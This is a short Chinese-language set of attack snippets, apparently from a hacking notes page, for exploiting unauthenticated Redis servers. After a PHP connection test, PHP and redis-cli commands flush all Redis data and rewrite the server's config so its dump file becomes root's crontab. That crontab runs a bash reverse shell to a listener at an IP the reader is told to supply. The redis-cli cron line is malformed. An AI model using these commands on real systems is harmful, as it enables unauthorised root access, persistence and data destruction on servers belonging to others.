连接测试 redis是否能连接代码

<?php
$redis = new Redis();
$link = $redis->connect('192.168.0.1', 6379);
if($link){
    echo "redis OK";
}else{
    echo "redis No";
    exit();
}
?>

反弹shell

<?php 
$redis = new Redis(); 
$redis->connect('192.168.0.1',6379); 
$redis->auth(""); 
$redis->flushall(); 
$redis->config("SET", "dir", "/var/spool/cron"); 
$redis->config("SET", "dbfilename", "root"); 
$redis->set("0", "\n\n* * * * * /bin/bash -i >& /dev/tcp/0.0.0.1/4422 0>&1\n\n"); 
$redis->save();

本地提权

redis-cli config set dir /var/spool/cron/
redis-cli config set dbfilename root
echo -e "\n\n/1 * bash -i >& /dev/tcp/0.0.0.1/4422 0>&1 \n\n"|redis-cli -x set 1

以上替换0.0.0.1 为你的监听公网IP